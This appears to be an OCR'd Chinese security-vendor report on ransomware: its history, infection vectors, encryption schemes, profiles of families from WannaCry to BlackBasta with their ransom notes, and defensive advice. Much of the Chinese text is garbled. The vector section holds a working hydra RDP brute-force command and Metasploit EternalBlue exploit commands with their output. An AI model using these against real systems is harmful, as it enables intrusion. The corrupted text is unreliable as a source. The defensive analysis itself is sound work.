IDINC IwEE

NENFFZORES

IERHENLEARGERAT

sk ERTIEEX KRR 116 SEZEFRFOLCE3E
BB4%: 100089

Zif). 400-660-8866

WG http://www.rising.com.cn




2R

FREHIERFENLEABRNERABD RS, GFEREREMRROEIRR T BT
WEREBIE, SINBRRMNAE. 2K MERAR. TBRGFE. ABREFARTHT

FATAFEAD T, REBARGTERN, FNHRUANRKREZRESREENR, UL X
RREASE.



o BRI BT 5 e 4
o BIRITAEBIIIZE e 6
A 11 1= OO 6
2. B E R BB R B WINLOCKET oo 6
3. FEBIFTFE (MBR) BNEERME oo, 7
4. BRIRIEINE WD BREEBS oo 7
L a2 11 5 N OO 8
A - 2 1 OO OO OO 8
B G /9 OO 8
3. AERIFRIME oo 9
E o125, N 9
I e G = I s s~ 10
Lo RDP BB oottt 10
2 BEBIBAE e 12
B AT oo 12
I 1 = e e = OO 14
S O 111 WO 14
2. WANNACKY ettt 14
3. GlODEIMPOSLET ..ot 15
A, PRODOS ... 16
B GANACIAD ...t 16
B, LOCKBIT. ...ttt s 17
T VIZE ot 17
8. DAIKSIAE ... s 18
9. MBKOP ottt 19
10. BIACKCAT ...t 19
LL HIVE e 20
12. BIACKBASTA ...t 20
750 TR AIBITEIR I oo 21
1. §t3F RDP 58 A T AIBISE I oo 21
2. S BBAE BT AIBISEEE I oo 22
3. HMRGERBBETAIBITEEEIL oo 22
B0 BB HEBY e 22
Bff : 2021 ££-2022 FEENREAFEBITT IR oo 23
—. 2021 T 1-12 BRI T oo 23
T 2022 F 1-7 BRI oo 37



—. BRERGHE

1989 £F [ E—E MM R AIDS (PC Cyborg), HIEHAZFEEENAY Joseph Popp
B, XE—fEik AUTOEXECBAT XM EFARDREF, K ADS MITEVLEEIR
HENLAE 90 KA, SR BRH MBI C ENAEXHNER (RRETXER),
BEERAR “EFMFIE" FHBELR PC Cyborg Corporation 78 (1 189 ETHFEED
H— N ERBUSFER) . 1EEMREIEEMERARTLRMR.

CE-B-E-E-E-E-E-B-BE-B-B-BE-E-B-B-B-B-B-BE-BH-BH -8
ATTENTION:

I have been elected to inform you that throughout your process of
collecting and executing files, you have accdientally THUCKE)
yourself over: again, that’s PHUCKED yourself over. No, it cammot
be: YES, it CAN be, a Jiriis has infected your system. Now what do
you have to say about that? HAHAHAHA. Have THUN with this one and
rememember, there is NO cure for
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2005 F I T —MINETA A XHHARL (Trojan/Win32.GPcode) . 1R S ANEE X
HHIEXTEN, BEREEEMRN txt X, BEXAPMIBRRER. INENXHEEE
& doc. .html. jpg. xls. .zip K.rar,

2006 fF  ECRHIER RSA BB AR EIRE4F Archievus, RSA B—MIEXNFRINZE
%, UEMBHXEEREURE . BE, BERERENEZEAKRD Redplus, iZADEEE A
PXRMEREXM, AREHEOERAAEESTINECZHRTKS.

2011 £ : HIAR(E Windows /= RAUE B MM RRHIFE =,

2013 £F T~ AFMIBIFIRLF CryptoLocker (L, HiBiY SRS S TR IEMI1FA &,
SEET PRI LT GreenDot MoneyPak X4, BREMZEEZMRKEEE 72 /)
BN, BB AR TR,

2015 fF, BZEAIRS(RaaS) I, XFFH W ERFEHRUEN LK EELTHEA T LE
4



ARHIRF T INEZH R EMEREES . PRTRANEIMRATLEZHR, AREEE
XNREBEREH ST, M RaaS FINRERSHEE, RHEATENEIURETR AT
FREFAROBE A FN MR —B MBS 2. BRANIRS (RaaS) RN =5 B
R, XMENENESETINEEARELRKNERNENZZFaE.

Chaos Ransomware Builder v2

—=> Chaos 1s mulli language ransomware. Translate your note to any language <—

Al of your files have been encrypted

Your computer was infected with a ransomware virus. Your files have been encrypted and you won't
be able to decrypt them without our help.What can | do to get my files back?You can buy our special
decryption software, this sofiware will allow you to recover all of your data and remove the
ransomware from your computer.The price for the software is $1,500. Payment can be made in Bitcoin{f
only.

How do | pay, where do | get Biicoin?

Purchasing Bitcoin varies from countiry to country, you are best advised to do a quick google search
yourself to find out how to buy Bitcoin

Many of our customers have reported these sites to be fast and reliable:

Coinmama - hxxps:/fwww_coinmama.com Bitpanda - hooxps:/fwww_bitpanda.com

e o @ Dropped File Name read,_ithd —_—
(

Sel & . Build

Advanced Oy

 JEENSRRMA D R=R

2016 F  WIRAMERRGTE, REFRNETEFRHRREERNE N RENE, B
VN EIEFRBE ELEEKIE 752%, Locky. Goldeneye. Crysis. CrylLocker &R {FFriE R
A94R8 10 {23 7T,

2017 fF  RRBERE BB RLRM WannaCry, SR ZIX 150 MEK 75 A EEH
BRHEER, B9 MEREXFIEERS, HPEHAERE. XE. FE. ®P 8. mEF
TRARMF

Ooops, your files have been encrypted!

A RE H T A B 2
EH—BEBRXHFRBENERET .

B, BAF. X8, BMe. F8, TEXHE. exeXF, RPHFAEYUSD
XHBEMET, BRTHERESTTR.

EH—RXEREAAELOBR, FATESLERREXFOLE, RE |
Payment will be raised on i, REHRMOBRERYE, SBEXMRT ETREREELEIMR. ]

1/4/1970 08:00:00 ﬁﬁﬁm{g ggxmmﬁmq
i ERETMENFE. AEEAKPOBRERSTRERE. RUAKRER, &
------ . HEHEZLERORERS.
- : B ERNEN, BTHHEERHBNHEE,
R <Decrypt> #if, MATLIRBAME 2B, WKL, HREFTE
Your files will be lost on Wi .
ERERE2H N, REMRERA.
1/8/1970 08:00:00 SERENATUEFREETR, KeREGE, ERTR, HETREMEE
HRTH,
M BRI AARERA, BT ZEBAREAE,
FAR, —WHlEFZIARMSR BEXEREFT.
397, BT ERK, WHEELEBEAMOBA, FREHRBRY, RTH -

Chinese {traditions v

Send $600 worth of bitcoin to this address:
Lo PR e SR

 WannaCry 1R 2B A
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1. mMESHRRMA

© EMEBEDAXERIAR (X, BT RE. BATIRM) .

© REMOXA—EMERSEMER, BPEESESIAELEBRE X HRE Rk
I8 B A R BB R SCAR S

o HRWITIIX, SEXHY RRW B S EAN AR USSR SRR rHRNT
Mo

CoPPIIITTTIIITIFIIITITIITITTTFITTITTIIT I I FTTIT 3 T ITIVTIT I VI TV T FIITIFIF 77 r oV v r I

Your documents, photos, databases and other important files have been encrypted with strongest
encryption and unique key, generated for this computer.

Private decryption key is stored on a secret Internet server and nobody can decrypt your files
until you pay and obtain the private key.

You only have 96 hours to submit the payment. If you do not send money within provided time, all
your files will be permanently crypted and no one will be able to recover them,

Press “iew' to view the list of files that have been encrypted.

Press ‘Next’ for the next page.

!
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2. P REE R H——WinLocker

« EYEHENRSHERGK.
+ ERTERER BIEFREAEMEQ.
© AMBEETDAIA .



Willful copyright infringement is a federal crime that carries penalties of up to five years in federal prison,
a $250,000 fine, forfeiture and restitution (17 U.S.C s.508, 18 U.S.C 5.2319)

As a first-time offender you are recquired by law to pay a fine of 250 USD
If the fine is not paid within three days, a warrant will be issued for your arrest, which will be forwarded to your local authorities.
You will be charged, fined, convicted for up to 5 years

There are two ways to pay a fine

1. You can pay your fine online through BitCoin, BitCoin is available nationwide

Click the tabs below to find the nearest ATM or ezchange

Your computer will be unlocked after you make your payment

2. (Offline Option) You can come to your local courthouse and pay your fine at the 'Cashiers' window.

Your computer will be unlocked within 4-5 working days

To regain access now, transfer BitCoin to the following address (click to copy):

1EXdnZXTGaP43winge TDnHQr Y dicbn 1 3FX

After the payment is finalized enter Transfer [D helow.

Amount: Transfer 1D

Note: Hard drive contents, network fles on this computer have been encrypted and disabled,
Hard drive contents will be permanently removed from this computer if the fins is ot paid.

View encrypted files

Payment How to pay a fine Find nearest ATM Online Exchanges Internet Browser Hotepad

© 2016 AO Kaspersky Lab. All Rights Reserved.

3. F5/2EX (MBR) BIR®H

«  EEHEF (MBR) BIFENEERF =D AVFRERZ BN .
¢ MBRERRHEZTENA MBR, DUEFBIEEM BT,
- BEERETERSLIFERLERERZEHNED.

our PC is blocked.
All the hard drives were encrypted.
to get an access to your system and files.

Any attempt to restore the drives using other way will

lead to inevitable data loss t!?

lease remember Your ID: b

ith its help your sign-on password will be generated.Enter password:sxsexs
rong passuord
[Enter password:seess

rong passuord
Enter password:_

© 2016 AO Kaspersky Lab. All Rights Reserved.
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«  DWeb RS ABYR, FMEHE LTS,
« MARBREERGTNCHFERE Web RS EMEHRUAM.



<?php
($_GET["page"] "index") echo <<<
<h2>Attention! What happened?</h2>

<p>Your personal files are encrypted by <font color="red"><b>CTB-Locker</b></font>.<br>

Your scripts, documents, photos, databases and other important files have been encrypted with strongest
encryption algorithm AES-256 and unique key, generated for this site.</p>

<p>Decryption key is stored on a secret Internet server and <b>nobody</b> can decrypt your files until you pay
and obtain the decryption key.</p>

© 2016 AO Kaspersky Lab. All Rights Reserved.

=. BRRGNMEBRARDE

HTAEWEN L2 AT XA MERA T MR, 551280 . R

#. FEHRMEFEEINE .

1. Eatin®

Bt hnE 245 U — MR K B AEE 7T URIE R XM EE, M BARERFEL
25, WRABNATNLNMRIER, WEEE, BEEEIFEEGERER. RVNBER
B TEARKERER, MBEEERARERFESRE, SEAXMSETRELEN
B EIE. BERXHAXHRBTEHITEENR IR, XHHIERHESE LR
$REMZERERN AR E R ENEIRENRHTER,

2. NI

BEERARNERNLR, BRRGTEENNBEZNEA, FHSREGTTRER—
ENFANMERE L, MRAMBEEZEFREE 1%, MENREERARNERE
MEMBENZEZEETREE. TR ML, NRNBEZNBERTORHME. XA
HASH REEM TN INAB NS BENRELRNOETS, IFBELE @S RRMETHERN
KR, MR G B AR L BRB RN FREE MBI XM

AR RN GES N RBABEMEZ RN TR EBO R TENRS & REHER
K FARE . XHF—K, WRAENBITERSHRMEIBEZEN, BAREXHIE
DRRFFEYEAE, BEXHF—REGENRSFASBREERRNEZT, IR
XERRALEN.

W RS N BRI RRINEE LS | AES, DES, 3DES, RC4, Salsa20, TEA



3. AR

EXNHRMBEEORATREREEZIRARANBE L. SNREZFRENE, €F
BERINER  —IEAFERH, Z—1TPEREER MBIEAXAERARTATAE, EA
MEESNERNINZEEZSR MAEERFAEBRERT, BXARGE SN ARNE
MEENZRERN. IEENFTEELARRAZSHRRAERE S, AELINNVBESA
PNARMEBERLEXHEL, MRPEBEHETMNRE .

ARXFNELTMZENXAHERMFIEREENLS, FEEMEERE.

MNRMBEZNFARMZEEER, MIEXNREENBEREE. ALERFESHRRMA S
SXARMEERESNTRBUER XX M1 AXFREFRES N M, RIRGE
RENHREEZZMENHREENER, IHE—RENMIBZBEBHMIRLRENSH, 5
SERBMARIL R ERNINETIR.

WENRAMT 2 MR IEXFRINE AR | RSA, ECC

4. BEMMERAR

NRBRRHEASFERAE—INBFENEFFITEENE, PENATRNELZRNE 5
BT, BARLZEUAE. EXMEATREMEBZERATBMRRGEIRANEAFE. U
GandCrab 9 RSA+Salsa20 A,

«  EERSA A, AHFIEE— salsa20 A Key 1 Iv
o fEH%E— salsa20 INBFEFE ALY RSA FA%A

ST .

«  {FEFREF RSA AR, MNEE — ) salsa20 A9 Key F1 Iv
o {FA%E T Salsa20 kK NEREAE M



[ AR #EL

E"{:E E»f]/\
- m Fd=a o g P2
= &
| calsazoBiz

R

N5 (9 S Rl & RE 5 1R 2 ST salsa20 B4R, BRI BE /LR RSA LA A B
BHITRE . EAFRK RSA NFLREELREREACHRY, REMAFR—IERFREM
A RSA RASARE AR B B R HT RRBEHRE,

0x0000 |94 04 00 00,

[ rsathinkm

(4FTEERSALRINEE)
zalsa2) 32bit key

020104
(SHHEERSALSAINE)
salza20 Bbit Iv

1 20 A RSARAE

(REHSEET, RTMBRIRTA)
02658

. BERGNEERETE

1. RDP 1&®#

RDP S5ACKE M RKMRAEBNRETE, ATREAXEENENFHTE
iy 9SS BRR W EH MRS, MEXER

ROP IEM B ABTTAERS s L, FFEET Windows B AR GriR fitilid M5 %
EXUTEETHNRANINGE, ATEASHZAUENEEEBERECVEMABRIZ
XA, EUkxt ROP ZBREEFHTFTEESEEREXTENI T, RPD WEHETRAT !

o REHETEE nmap TEX IP #17 3389 i 0134, & BARIVETZEEERS, U
IX open & 7RiZim RS
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:~# nmap -p 3389 192.168.116.128

Starting Nmap 7.40 ( https://nmap.org ) at 2021-06-03 01:59 EDT
Nmap scan report for 192.168.116.128

Host is up (0.0013s latency).

PORT STATE SERVICE

3389/tcp open ms-wbt-server

MAC Address: 00:0C:29:3B:D3:3A (VMware)

«  BlanfEA hydra TEN ASNEEFHIF R4S RDP in H #1755 A< BHK.

:~# hydra 192.168.116.128 rdp -L /root/Desktop/3389CreakDict.txt -P /root/Desktop/password.txt -V
ydra v8.3 (c) 2016 by van Hauser/THC - Please do not use in military or secret service organizations, or for
illegal purposes

ydra (http://www.thc.org/thc-hydra) starting at 2021-06-83 03:13:00

[WARNING] rdp servers often don't like many connections, use -t 1 or -t 4 to reduce the number of parallel co
nections and -W 1 or -W 3 to wait between connection to allow the server to recover

[WARNING] Restorefile (./hydra.restore) from a previous session found, to prevent overwriting, you have 10 sed
ponds to abort...

[DATA] max 16 tasks per 1 server, overall 64 tasks, 66049 login tries (1:257/p:257), ~64 tries per task
[DATA] attacking service rdp on port 3389

[ATTEMPT] target 192.168.116.128 - login "123456.com" - "123456.com" - 1 of 66049 [child 8] (0/0)
[ATTEMPT] target 192.168.116.128 - login "123456.c - "123123" - 2 of 66049 [child 1] (8/8)

[ATTEMPT] target 192.168.116.128 - login "123456.com" - "idcl23'@#" - 3 of 66049 [child 2] (©/0)
[ATTEMPT] target 192.168.116.128 - login "123456.com" - "123" - 4 of 66040 [child 3] (0/0)

[ATTEMPT] target 192.168.116.128 - login "123456.com" - "aaal23!'@#" - 5 of 66049 [child 4] (0/0)

« EEBEIYE hydra 2R T ERE B A A B 52,

[DATA] attacking service rdp on port 3389
[ATTEMPT] target 192.168.116.128 - login "mz" - pass "al23456" - 1 of 1 [child @] (0/0)
[3389] [rdp] host: 192.168.116.128 login: mz password: al23456
1 of 1 target successfully completed, 1 valid password found
dra (http://www.thc.org/thc-hydra) finished at 2021-06-03 03:22:36

« BT rdesktop IEEEE| BAREN, EREZ BRI BIMNAF RS B0REE
BRNERE Birlar. BTRRTUERA TN LEEXARS S0 FRFNTHRRK
.

@ @ ‘—‘J — Blw B "R
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Makop #ZREFNIZH AT & BB IFHTT

W A B R

I, PUARI A R BRI AEE

HEWRMSBEATFZHZ

AREMPVRFENEEE, REFIRESNLY R TRUEENTIZBER T2
I, SBSRUGEERAEN LRIES, RRNEREYNETHMAETEN, ERA

JEERRK.

BEA: MTE ARE <
A Seebunishe. or

HiE

accrual slgateioanas, xyz

2 EE 8% 4.7z (108 KB)

FE NI

M= FARS Y ofw

AT 2IErel 2] 2 AME AL M (2020.03.03)

3372l d=l

F 2] EALER|AM(2020.03.03)

ot thstof 2

TARAHE) M7 M7= =ME 2A 2 gEYs
LECE|2L ZAEH| 2HEE 715t FA|7| BHELCH

ZEE22L MBTIMSIO ZA

1 B A iUt EA
717k2020.02.17 - 2020.02.28
3. EM 71$2:2020.02.28

4, ZA O&71282020.02.17 - 2020.02.28

3. IR &

BT RRAR G EENTTNMELL R ROP AR Z,

WannaCry i@t NSA 5 AR IR ZE X EK1EZ #E(MS17-010)F

B MSF B9 MS17-010 fE AL E B =

- BRFEER MS17-010
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e not built yet, using

sclosure Date Rank

s17 010 command
mote Wind Command Exe
mb ms17 010
average 010 {

7 010 eternalblue win8 2017-03-14 aver MS17-010
1 Corrupt for win8+
smb/m 010 2017-03-14 normal 010
s Code Execution

- ERARESARRE

e use auxiliary/scanner/smb/smb_ms17_010
e show options

e set RHOSTS 192.168.1.59

e run

msf exploit( ) > use auxiliary/scanner/smb/smb ms17 010
msf auxiliary( ) > set RHOSTS 192.168.1.59

RHOSTS => 192.168.1.59

msf auxiliary( ) > run

[+] 192.168.1.59:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Ultimate 7600 x64 (64-bit)
[*] Scanned 1 of 1 hosts (100% complete)
[ i rv_moduyle exe 1 -

«  FHRBRRGHERLERS

e use exploit/windows/smb/ms17_010_eternalblue
e show options

e setrhost 192.168.1.59

e exploit

msf auxiliary( ) > use exploit/windows/smb/ms17 010 eternalblue
msf exploit( ) > set rhost 192.168.1.59
=> 192.168.1.59
exploit( ) > exploit

o 1SEIEEA shell

13
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1. CrySiS

AXILEHR : 2016

EEHER | CrySiS ELFEHIREHRAFTAFAEZ, FHEETVIME.
NEF%  BEF A RDP 55 OLBEHAN TS ER BimtEVLH.

IIZ AT : RSA+AES

e kB EIRT (Lb4Em)

moneymaker2@india com

(&

All your files have been encrypted!

All your files have been encrypted due to a security problem with your PC. 1f you want to restore them, write us to the e-mail moneymaker2@india.com
Write this ID in the title of your message AA25CBA3
You have to pay for decryption in Bkcons. The price depends on how fast you wrke to us. After payment we vl send you the decryption tool that wil decrypt al your fies.

Free decryption as guarantee
Before paying you can send us up to 5 fies for free decrypbon. The total sze of fles must be less than 10Mb (non archived), and fies shoukd not contan valuable information. (databases, backups, large excel sheets, etc.)

How to obtain Bitcoins
The easiest way to buy btcoins is LocaBicons ste. You have to regster, cick Buy btcons', and select the seler by payment method and price.
hitps teo

Ao you can find other places to buy Bitcons and beginners gude here:

hitep:/ fvat.coindesk. ] b

btcons. com/buy btcons

Autention!
« Do not rename encrypted fles.
« Do not try to decrypt your data using third party software, & may cause permanent data loss.
« Decryption of your fles with the help of thrd parties may cause ncreased price (they add ther fee to our) or you can hecome a victim of a scam.

2. WannaCry

KIMEHY 2017 &

EEER  FMERAEIR 150 ZPERNENITEY, XEEIRIET. £5. RS
CEZEA

NEFE RS NSA HER “EternalBlue” (MS17-010)iF:BF A T E#TEE ZREA
FHEEMERFRNER, MAORRESBZREARBHT.

MFTTH : RSA JEIFFRE A+ AES MFRE

AL WNCRY

B kB G (Pb4F)

14



M? Tana DecryptOr 2.0

Qoops, your files have been encrypted! Chinese (sinplihd]

B EY FL Y AR 7
A — L EE R IERTE T -
BEH - ER - A RERE - T IS - exe R TLFREEEM
SERERIRINE T - B FREERITH -
XA — AR ST IR B AT R AT A - IS AIE P IR IR B SR E - IRE
Payment will be raised on | (Rl R e E R T e
5/16/2017 02:26:59 ﬁ:‘&ﬁﬁ(ﬁﬁ‘ﬂﬁﬁﬁﬁ'ﬂﬁﬂi o
Time Left LR AIRERYTE - ARG RIS T RRE - ELUARHER - Kk
R e HRAT A RS - =
EIE B EREY » th A sE IR -
(5D <Decrypt> IEH  ATLLATRIRE —3r#y < IFEM0 - EREEF S
Your files will be lost on ?ggg-é@ggmxg s B S
5120/2017 02:26:59 EEPERE A LLE R R AR - A ED - BT R - R R
R -
llmeltel EIFIEZANRER S TZERRNSE -
iTH » — I AR AR ERT -
T B T ERE > SR ELL BRI - 2FEMAFRERE TR 1|

. Send $300 worth of bitcoin to this address:

bitcoin
Preas el g | 13AMAVIN2dhx Y gXeQepoHkHSQuyNgaEb94
Lot bz Check Payment Decrypt

3. Globelmposter

LZIMBH : 2017 &

A EFEA © Globelmposter £ 3 E R AREMIES W A HM MR T RNT, HERER
BIR, AERABRESHEREEZENIEER.

NEF%  BEF A RDP 55 0BG S ER BimtEVLH.

MNZEFH I - RSA IEXTFREE+AES JFRE &

e kA - EIRT (bb4Em)

Y FILES ARE ENCRYPTED!

Your documents, photos, databases and all the rest files encrypted cryptographically
strong algoritm RSA-2048.
Without a secret key stored with us, the restoration of your files is impossible

To start the recovery process:

+ Register email box to protonmail.com or ceck.li (do not waste time sending letters
from your standard email address, they will all be blocked).

» Send a email from your new email address to: gustafkeach@johnpino.com with your
personal ID.

« In response, we will send you further ins ions on decrypting your files.

Your personal I

= Itis in your interest to respond as soon as possible te ensure the recovery of your
files, because we will not store your decryption keys on our server for a long time.




4. Phobos

KIMEHR : 2017 &

EIEER B CrySiS {RFEM 2019 FEKREEES, BRTHRPAELCERELDS
CrySiS #H—2%.

NEFE BEF A RDP 50BN ANSES BArtEYH, B3 56 L%,
IIZ AT : RSA+AES

e KA - IR T (Eb4Em)

A N
[a]

‘ All your files have been encrypted!

All your files have been encrypted due to a security problem with your PC. If you want to restore them, write us to the e-mail decrypt@files.mn
Write this 1D in the title of your message AA25CBA3-2315
’ You have to pay for decryption in Btcons. The prce depends on haw fast you write to us. After payment we wil send you the toal that wil decrypt al your fies.

Free decryption as guarantee
I Before paying you can send us up to 5 fles for free decryption. The total size of fles must be less than 4Mb (non archived), and fies shoukd nat contain vakiable nformaton. {databases, hackups, lrge excel
sheets, etc.)

How to obtain Bitcoins
The easiest way ta buy btcons & LocalBitcons ste. You have to register, cick ‘Buy btcons', and select the seler by payment method and prce.
i P T
Also you can find other places to buy Bicans and beginers guide here:
it ek bi {

Attention!
« Do not rename encrypted fles.
« Do not try ta decrypt your data using third party software, & may cause permanent data bss.
« Decryption of your fles wih the help of third parties may cause increased price (they add ther fee to our) or you can become a vidim of a scam

5. GandCrab

ZIAHA - 2018 4

AR GandCrab EABIRRMHR "FiR REBMBE, E—FHHFK 201{2Ex, EHEL
EHBTRAER N, KERERZmWSEE .

NEFE  BEPEIR . NEED, REEE.

&R - RSA+Salsa20

e kB BIRT (GAtEH)

16



B D1ZDL-DECRIPT. txt - & o [=[ o3

HHE) REE) RR0) HEV BB
F—  GANDCRAB ¥5.0.4 =— -

NDER. MO CIRCUMSTANCES DO NOT DELETE THIS FILE, UNTIL ALL YOUR DATA
IS RECOVERED:

##eeFAILING TO DO 50, WILL RESULT IN YOUR SYSTEN CORRUPTION, IF THERE ARE
DECRYPTION ERRORS##t

Attention!

411 yvour files, documents, photos, databases and other important files are encrypted and
have the extension: .DHZIL

The only method of recovering files is to purchase an unique private key. Only we can give

wou this key and only we can recover your files.

The server with your key is in a closed network TOE. You can get there by the following
EVEN

| 0. Download Tor browser — https://wmw. torproject. org/
. Install Tor browser
. Open Tor Browser

1
2
3. Open link in TCR browser: http://ganderabmfefmnef. onion/973£3221aa25cba3
4

. Follow the instructions on this page

6. LockBit

ZIMBEH : 2019 FF

R © LockBit F 19 FHRBESHWA H =/MEA, 7 2.0 HEIIT StealBit FEAD,
& HTEY LockBit3.0 I2FH 7 R &4 EE 1.

NEF%  BEF A RDP 55 OLEHAN TS ER BimtEVLH.

AT RSA+AES

e kA - EIRT (bb4Eh)

| Restore-My-Files.txt - iT=4 = | B |
MR RH\E) BRO0) ZFE|N #ERH)
LockBit Z. 0 Ransomware o

Your data are stolen and encrypted

The data will be published on TOR website
http://lockbitaptbvxbTt3eeqiofwecslmitr3a3snvevok jabunccipdvkyvd. onion and
https://bighlog. at if vou do not pay the ransom

Tou can contact us and decrypt one file for free on these TOR sites

http: //lockbitsupdyezedbenkbunnex3zey Thwbwl lyamivhvan j 1352 jayid. onion
http://lockbitsap2oadhcun3syvhbatbnbnztTfqoscbidlmefleu3kadk2did. onion

[0)i3

https://decoding. at

Decryption ID: OBDECT91B19BACFZ8CCE845D471FCICE

7. Maze

EZIMEER : 2019 &£
17




EHR | HZERIM GandCrab RiaE, RIEBFNFHE Maze &K T CHIEEER
RN,

NEFE  BENams. NED, REEE.

INZE AR RSA+Salsa20

BEE KA - EiE™ (Eb4Em)

- o n o

0018 SYSTEM FAILURE 0010

tion! Your documents, photos, databases, and other important fi been encrypted!

»f your data

IMMINENT SHUTDO

00000 060B0 ©

G000 00OB0 ©
00000 00600 0

8. DarkSide

RIBH : 2020 &£

A EfHit DarkSide BIRBF+ IR T A HMRASIERIBIINB A LRIE, B E 2021
FFRGHBIT 9000 FETHLEER K.

NEF%  BEF A RDP 55 AL BEHKAN TS ER BimtEVLH.

& AR : RSA+Salsa20

BB EHIRT (Lb4Fm)

")) README.125¢bc12.TXT - 1384 = | B S
IR | REE BR0) EEV) EEH)

——————————— [ Welcome to Dark ] ———-—-—-—-—->

What happend?

Tour computers and servers are encrypted, backups are deleted. We use strong encryption alg
But you can restore everything by purchasing a speeial program from us — universal deerypto|
Follow our instructions below and you will recover all yonor data. 3

Data leak

First of all we have uploaded more then 100 GB data.

Example of data:
- Accounting data
- Executive data
- Sales data
- Customer Support data
= Narketing data
- Quality data
- And more other. ..

Tour pErsDnal leak page: http://darksidedxcftmga. onion/blog/article/id/6/d0DclB_fKg—c—6fTes
The data is preloaded and will be automatically published if you do not pay.
After publication, your data will be awailable for at least 6 months on our tor cdn servers

We are ready:

4 [ 3
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9. Makop

AZILEHR : 2020

HIEHIA | 2020 FEREZEAMEHNETVMNB RSN, BEEHEINBESMIEF
RKEHRBTE.

NEF% BEF A RDP 5 OLEBEEMNANSER BimTENF, Bid %8596 mR 21,
IIZ AT : RSA+AES

e kB - EIRT (bb4Em)

reacime- maning
THEF) E IO SR MEH)
si: Greetisgs i@

Liztle FAQ
1

G Wi
At Tou

he “makop” extension. The file structure wos not dsmaged, we did evervthing possible 5o that this could mot happen.

A0 IF you wish 1o decrypt vousr Files vou will naed ts pay in hiteoins

UTELy &5 BeT care aboul you and your deals, eEcept gertisg benefits If we do mot do our wark smd 1fabilitfes - mehody will epoperste with us. Its not is

5, VoU can send 1o us any 2 files with SIMPLE extemsicns(ipg, mls, doc, ete... not datsbases!) and low sizes(max | wh), we will decrypt them and send

o pakoplalrmall. ec

you will be sble to decrypt all your emcrvpted files

10.BlackCat

Y BH : 2021 F

AR | BlackCat —AAMAEBRIERIZELRES S LA EE, HET22F7ANER
KRETEFTRERER.

NEF%  BEF A RDP 55 AL EHAN AN S ER BimtEVLH.

AR - RSA+ChaCha20

Bee KA - B (Lb4Fm)
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[ T o

MEHF) WW|E) EN0) J;ENV) #WEMH) 7

»» Introductionlmportant files on vour system was ENCRYFTED and now they have have
"sykffle” extension. In order to recover your files you need to follow instructions below. >
Sensitive DataSensitive data on your system was DOWNLOADED amd it will be PUBLISHED if wyou
refuse to cooperate.Data includes:- Emplovees personal data, CVs, DL, S5SH. - Complete
network map including credentials for local and remote services. — Financial information
including clients data, bills, budgets, annual reports, bank statements. - Complete
datagrams/schemas/drawings for marufacturing in solidworks format— And more...Private
preview is published here:

http://zujgzbubvEdxbmrcdZaddpd] xkooskbdt sl fEmehnhTpvajpwinbeokyd. onion/b21el fb6—FfRE—420b—
8339-3523179%ale3e/886cf430a90Tbbe9a3fd38fb T04d524dbdl 99¢1b042ad6f65dcT2adT8704e21 > > CAUTION
DO NOT NODIFY FILES YOURSELF. DO MOT USE THIRD PARTY SOFTWARE TO RESTORE YOUR DATA. YOU MAY
DAMAGE YOUR FILES, IT WILL RESULT IN PERMANENT DATA LOSS. YOUR DATA IS STRONGLY ENCREYPTED,
YOU CAN WOT DECRYFT IT WITHOUT CIFHER EEY. »» Recovery procedurefollow these simple steps to
get in touch and recover your data:l) Download and install Tor Browser from:
https://torproject. org/2) Navigate to:

http: //mu751 tv31xd24dbyubg tvimmybecigsbaukiTfeesd3Tavvfl zvaingd. onion/7access—
key=JoSRTRXDNHZB36F cOPPEVHZFZBG dNvHRyzR D] opLnnDg 2Uh6R0TI 5

%ZBaT ZbWehpwBN dhUTucG TVEAVE cEgHFOS1 ePATNUxI1E

%2BgkHCAS3ChENvwMEL aMBHT zGE009m3q3medyE c THEBL ub ZFWnJ9256f afibp 94K

%ZE 2v jLrn0r g TEUNTNG 251 synfvSDumAelzFBZp 93p 53 HaBme W 2F Ex jHAZS8dT 1 82PcEul 4Ek 100 quDW THNET
%2FEk TagzPuyBdmiyl TC jSWyqT F39PH1 BZeHgNRvssIn3Ten% 2FrE JOhZ fF 29T %2F o T Hg THUSWAT pOU% 2BV
%ZBkhPebdyEoWLELP g KNRGuUBLS T dTuTHIA% D% 3D

11.Hive

KIMAER : 2021 4

HEER RANEHENAR, MUNBZEEXNHREERVRNERN AR ZEELIE,
MEZEEHNES, BRIEAZREVAREZEHD.

NZF% B ExChange B ProxyShell JgiEA1Z .

INEwFTR | RSA+AES

Bee KA - B (Lb4Fm)

XPHP) SHAE) ERO) BEV) HaH)
Your network has been breached and all data is encrypted.

| To decrypt all the data you will need to purchase our decryption software.
JPlease contact our sales department at:

http://
Login:
Password:

Follow the guidelines below to avoid losing your data

— Do not shutdown or reboot vour computers, unmount external storages.

— Do not try to decrypt data using third party software. It may cause irreversible damage.

- Do not fool vourself. Encrvption has perfect secrecy and it’s impossible to decrvpt without knowing the kev.

- Do not modify, rename or delete *. key.hive files. Your data will be undecryptable.

— Do not modify or rename encrypted files. You will lose them.

= Do not report to authorities. The negotiation process will be terminated immediately and the key will be erased.
— Do not reject to purchase. Your sensitive data will be publicly disclosed at

12.BlackBasta

RUBEH 2022 £
EERR  EAFMXSRRGEHNA WV AFA Windows REEIMK Linux RE#RIZITH
VMware ESXi FEHIA .
NEFE  BIEEFMEEHE,
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IZEF R : RSA+ChaCha20
KA - EIET (Lb4Em)

& Black Basta

@

Write your company name

G

N ST EIREHAIBSER I

HRUEMNIIATER, RTREXRSREURTLHRMPRMNG, ESHNERSHE
RAFANZE ENEIR. NRSEMEERE, RNEERGHT, EHEnERLE
TEAAEB TR XM, BRI SME BT AR BIIZAZ /5[5 445, 80 FFH7im M A9fE A .

1. ¥t RDP S5 A< EHMIFASEE W

« [FREITIfEA RDP (WA F, (URZBELRIIFNG AL LTATRKNITIENA

o BEBIWERIE, 1 Windows F & TH Duo Security MFA B Linux SE& T google-
authenticator ZIAIEFEFF.

o REVGOHUERE, BEEEKSYUERE, BEKSMERESHEFLENEFRE,
] IXBRGER S —E A8 TS M e R DR,

«  EHYLRDP MEMTER, MRUFAFEMEAE, MATRUEHHE ROP wmOXH, BT
X 745 € B [8) < RFT Frim B o

o EH/HE RDP imHA, TEEAFBIA RDP in AE X AIEFRERMROS, TR —30E
RERMHXHFE ROP i AN E RIS, N BIMNIBm D B E ek

- TEHEE. EE M RDP HXIFIE.

o CIERAEHNREIZEEEALE, (XAVFRERN IP #hiitisE.,

+ RDPHIER, NFEASEEMEZRZMIUERSEDSERNIS.

21



2. S5 E M EREAFE RN

s REXRETYHE, RELEAR KNEHRSE.

o WMRWEAFE, BEIKH Office 22, PowerShell BIAZ,
. FREFXHT RS,

